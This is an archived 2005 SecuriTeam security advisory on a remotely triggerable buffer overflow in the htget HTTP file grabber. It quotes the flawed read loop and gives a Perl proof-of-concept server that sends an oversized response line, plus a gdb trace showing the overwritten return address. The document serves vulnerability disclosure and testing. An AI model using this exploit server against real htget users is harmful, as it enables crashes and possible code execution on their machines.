

[UNIX] htget Remotely Exploitable Buffer Overflow (ReadLine)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0043.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/10/05

To: list@securiteam.com

Date: 10 Jan 2005 15:02:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

htget Remotely Exploitable Buffer Overflow (ReadLine)

SUMMARY

"infamous41md" discovered a buffer overflow in htget, a file grabber that will get files from HTTP servers. It is possible to overflow a buffer and execute arbitrary code by accessing a malicious URL. The following exploit code can be used to test your htget for the mentioned vulnerability.

DETAILS

Vulnerable code:

The following code is vulnerable to a buffer overflow:

```
rc = read ( Socket , & ch , 1 ) ;
while ( rc == 1 )
{
    ReceiveBuffer [ I ] = ch ;
    I ++ ;
    if ( ch == '\n' )
    {
        break ;
    }
    if ( I > ( BIG_BUFFER_SIZE - 4 ) )
```

Securiteam: [UNIX] htget Remotely Exploitable Buffer Overflow (ReadLine)

```
{
    break ;
}
rc = read ( Socket , & ch , 1 ) ;
}
```

Specifically, the `if (I > (BIG_BUFFER_SIZE - 4))` check, doesn't take into account the size of the buffer we store the information to, which in some cases is set to `MAXLENGTH` (256) and not to `BIG_BUFFER_SIZE` (4096).

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0852>>
CAN-2004-0852

Exploit:

```
#!/usr/bin/perl
# Exploit code (PoC) by Noam Rathaus – Beyond Security Ltd. – SecuriTeam
# (SECU)
#
use strict;
use Socket;
use Carp;

sub logmsg { print "$0 $$: @_ at ", scalar localtime, "\n" }

my $port = shift || 80;
my $proto = getprotobyname('tcp');
$port = $1 if $port =~ /(\d+)/; # untaint port number

socket(Server, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
setsockopt(Server, SOL_SOCKET, SO_REUSEADDR,
            pack("I", 1)) || die "setsockopt:
$!";
bind(Server, sockaddr_in($port, INADDR_ANY)) || die "bind: $!";
listen(Server, SOMAXCONN) || die "listen: $!";

logmsg "server started on port $port";

my $paddr;

$SIG{CHLD} = \&REAPER;

for ( ; $paddr = accept(Client,Server); close Client)
{
    my($port,$iaddr) = sockaddr_in($paddr);
    my $name = gethostbyaddr($iaddr,AF_INET);

    logmsg "connection from $name [", inet_ntoa($iaddr), "] at port $port";

    print Client ("A"x256)."\r\nDate: Mon, 10 Jan 2005 13:11:42
GMT\r\nContent-Type: text/html\r\n\r\n";
}
```

Securiteam: [UNIX] htget Remotely Exploitable Buffer Overflow (ReadLine)

}

```
# gdb ./htget
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
```

```
(gdb) r http://localhost
Starting program: ./htget http://localhost
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
HTGET (c) J Whitham 1998-99 <jwhitham@globalnet.co.uk> version 0.93
See README. This program comes with NO WARRANTY of any kind.
```

Getting data for <http://localhost>...

```
Program received signal SIGSEGV, Segmentation fault.
0x4009fc37 in strcat () from /lib/tls/libc.so.6
(gdb) bt
#0 0x4009fc37 in strcat () from /lib/tls/libc.so.6
#1 0x0804a4e2 in GetHeaderForRequest ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:infamous41md@hotpop.com>>
infamous41md.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [UNIX] htget Remotely Exploitable Buffer Overflow (ReadLine)

loss of business profits or special damages.